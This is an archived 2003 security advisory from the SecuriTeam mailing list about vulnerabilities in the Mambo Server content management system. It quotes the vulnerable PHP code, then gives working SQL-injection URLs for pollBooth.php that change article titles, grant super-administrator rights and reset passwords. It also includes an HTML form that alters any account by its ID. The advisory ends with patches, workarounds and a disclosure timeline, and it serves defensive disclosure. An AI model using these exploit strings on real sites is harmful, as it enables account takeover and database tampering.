

[UNIX] Multiple Vulnerabilities in Mambo Server

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0087.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/24/03

To: list@securiteam.com

Date: 24 Dec 2003 15:26:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in Mambo Server

SUMMARY

<<http://www.mamboserver.com>> Mambo "open source is the finest open source Web Content Management System available today. Mambo Open Source makes communicating via the Web easy". The product has been found to contain multiple security vulnerabilities that would allow a remote user to compromise the system.

DETAILS

Vulnerable systems:

- * Mambo Server version 4.0.14
- * Mambo Server version 4.5 Beta 1.0.3

Immune systems:

- * Mambo Server version 4.0.1 patch 2
- * Mambo Server version 4.5 Beta 1.0.14

Version 4.0.14 :

- Redefining of configuration variables:

A vulnerability has been discovered in the regglobals.php file that allows unauthorized users to redefine configuration variables.

Vulnerable code:

```
<?php
if (!ini_get('register_globals')) {
session_start();
$raw = phpversion();
list($v_Upper,$v_Major,$v_Minor) = explode(".", $raw); if(($v_Upper > 4 &&
$v_major < 1) || $v_Upper < 4){ $_FILES = $HTTP_POST_FILES; $_ENV =
$HTTP_ENV_VARS; $_GET = $HTTP_GET_VARS; $_POST = $HTTP_POST_VARS; $_COOKIE
= $HTTP_COOKIE_VARS; $_SERVER = $HTTP_SERVER_VARS; $_SESSION =
$HTTP_SESSION_VARS; $_FILES = $HTTP_POST_FILES; }
while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SESSION)) $GLOBALS[$key]=$value;
foreach($_FILES as $key => $value) {
$GLOBALS[$key]=$_FILES[$key]['tmp_name'];
foreach($value as $ext => $value2) {
$key2 = $key."_".$ext;
$GLOBALS[$key2]=$value2;
}
}
}
?>
```

We see at first that if register_globals=OFF, all the variables FILES, ENV, GET, POST, COOKIE, SERVER and SESSION will be redefined as global variables (GLOBAL).

This code raises no problem of security.

However, in the files banners.php, pollBooth.php, upload.php, usermenu.php and userpage.php, we can see the following code:

```
include ("configuration.php");
[...]
include ("regglobals.php");
```

The configuration.php file contains variables as:

```
$host = 'localhost'; // This is normally set to localhost
$user = ""; // MySQL username
$password = ""; // MySQL password
$db = ""; // MySQL database name
$dbprefix = 'mos_'; // Do not change unless you need to!
```

It is then possible for an attacker to give new values to all the variables of configurations.

Securiteam: [UNIX] Multiple Vulnerabilities in Mambo Server

For example the pollBooth.php file:

```
include("configuration.php"); include('language/'.$lang.'/lang_poll.php');
include("regglobals.php");
[...]
switch ($task){
case "Vote":
addvote($voteID, $cook, $polls, $dbprefix);
break;
[...]
}

function addvote($voteID, $cook, $pollID, $dbprefix){
if ($database==""){
require("classes/database.php");
$database = new database();
}
global $sessioncookie;
if (empty($sessioncookie)) {
print "<SCRIPT>alert(\"\"._ALERT_ENABLED.\"");
window.history.go(-1);</SCRIPT>\n";
} else {
if($cook == "1") {
print "<SCRIPT> alert(\"\"._ALREADY_VOTE.\"");
window.history.go(-1);</SCRIPT>\n";
}
else {
if ($voteID == 0){
print "<SCRIPT>alert(\"\"._NO_SELECTION.\"");
window.history.go(-1);</SCRIPT>\n";
}
}
$value = "1";
$cookname="voted".$pollID;
setcookie("$cookname", $value, time()+87640);
}

if($cook == "") {
if ($voteID > 0) {
$query = "UPDATE ".$dbprefix."poll_data SET optionCount=optionCount + 1
WHERE pollid='$pollID' AND voteid='$voteID'";
$database->openConnectionNoReturn($query);
$voters = $voters + 1;
$query = "UPDATE ".$dbprefix."poll_desc SET voters=voters + 1 WHERE
pollID='$pollID'"; $database->openConnectionNoReturn($query);

$today = date("Y-m-d G:i:s");
$query = "INSERT INTO ".$dbprefix."poll_date SET date='$today',
vote_id='$voteID', poll_id='$pollID'";
$database->openConnectionNoReturn($query);

echo "<SCRIPT> alert(\"\"._THANKS.\""); window.history.go(-1);</SCRIPT>"; }
} } }
```

[...]

It is thus possible to execute any request UPDATE via the pollBooth.php file if register_globals=OFF.

Version 4.5 Beta 1.0.3:

– Change members' and administrator's settings:

A vulnerability has been discovered in the components/com_user/user.php file that allows unauthorized users to change members' and administrator's settings.

Vulnerable code:

```
[...]
switch( $task ) {
[...]
case "saveUserEdit":
userSave( $option, $my->id );
break;
[...]
}
[...]
function userSave( $option, $uid ) {
global $database;
if ( $uid == 0 ) {
echo _NOT_AUTH;
return;
}
$row = new mosUser($database);

if(isset($_POST["id"]) && ($_POST["id"] != null || $_POST["id"] != "")) {
$row->load($_POST["id"]); $row->orig_password = $row->password; } if
(!$row->bind( $_POST )) { echo "<script> alert('".$row->getError()."");
window.history.go(-1); </script>\n"; exit(); }

if(isset($_POST["password"]) && $_POST["password"] != "" ) {
if(isset($_POST["verifyPass"]) && ($_POST["verifyPass"] ==
$_POST["password"])) {
$row->password = md5($_POST["password"]);
} else {
echo "<script> alert('Passwords do not match'); window.history.go(-1);
</script>\n"; exit(); } } else { // Restore 'original password'
$row->password = $row->orig_password; } if (!$row->check()) { echo
"<script> alert('".$row->getError().""); window.history.go(-1);
</script>\n"; exit(); }

unset($row->orig_password); // prevent DB error!!

if (!$row->store()) {
echo "<script> alert('".$row->getError().""); window.history.go(-1);
</script>\n"; exit(); }
```

Securiteam: [UNIX] Multiple Vulnerabilities in Mambo Server

```
mosRedirect( "index.php?option=$option" );  
}  
[...]
```

It is possible for an attacker to modify different settings of an account by only knowing its ID (password, email, name etc...).

Exploits:

Version 4.0.14:

– Redefining of configuration variables (if magic_quotes_gpc=OFF):

The title of the article N°23 becomes "hop":

```
http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&voteID=1&dbprefix=mos_articles%20SET%20pa  
rtid=23/*
```

The user having id 52 becomes "super administrator":

```
http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&voteID=1&dbprefix=mos_users%20SET%20us
```

The password of the user having id 10 becomes 'a':

```
http://[target]/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&voteID=1&dbprefix=mos_users%20SET%20pa
```

Version 4.5 Beta 1.0.3:

– Change of members' and administrator's settings:

Here is an example that permits to modify an account via its ID:

```
< html>  
< head></head>  
< body>  
< form action="http://[target]/index.php" method="post">  
New Name : < input type="text" name="name" value=""><br>  
New E-mail : < input type="text" name="email" value="" size="30"><br>  
New UserName : < input type="text" name="username" value=""><br>  
New Password : < input type="password" name="password" value=""><br>  
Verfiy New Pass : < input type="password" name="verifyPass"><br>  
ID : < input type="text" name="id" value="1"><br>  
< input type="hidden" name="option" value="com_user">  
< input type="hidden" name="task" value="saveUserEdit">  
< input type="submit" name="submit" value="Update"><br>  
</form> </body> </html>
```

Solutions:

You can find unofficial patches at the following link:

<<http://www.phpsecure.info>> <http://www.phpsecure.info>.

The creator (Robert Castley) was notified, published a patch 2 for version 4.0.1 (works only if the patch 1 was installed) and a Beta 1.0.14 version 4.5 was published for the vulnerabilities of 1.0.13.

Workaround:

Version 4.0.14:

In banners.php, pollBooth.php, upload.php, usermenu.php and userpage.php

Securiteam: [UNIX] Multiple Vulnerabilities in Mambo Server

simply add the following line as FIRST LINE, and delete the other inclusions of this file: include ("regglobals.php");

Version 4.5 Beta 1.0.3:

In the components/com_user/user.php file, in the userSave() function, replace the following lines: if(isset(\$_POST["id"]) && (\$_POST["id"] != null || \$_POST["id"] != "")) { \$row->load(\$_POST["id"]); \$row->orig_password = \$row->password; }

With

```
if(isset($_POST["id"]) && ($_POST["id"] != null || $_POST["id"] != "")) &&
$_POST["id"] == $uid) { $row->load($_POST["id"]); $row->orig_password =
$row->password; }else{ die("Bad User Id"); }
```

Disclosure timeline:

25/11/2003 Vulnerability discovered
25/11/2003 Vendor notified
25/11/2003 Vendor response
25/11/2003 Security Corporation clients notified
28/11/2003 Started e-mail discussions
09/12/2003 Last e-mail received
10/12/2003 Public disclosure

ADDITIONAL INFORMATION

The original advisory can be found at:

<http://www.security-corporation.com/advisories-023.html>
<http://www.security-corporation.com/advisories-023.html>.

The information has been provided by

<mailto:advisory@security-corporation.com> Security Corporation Security
Advisory and <mailto:frog-man@security-corporation.com> frog-m@n.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.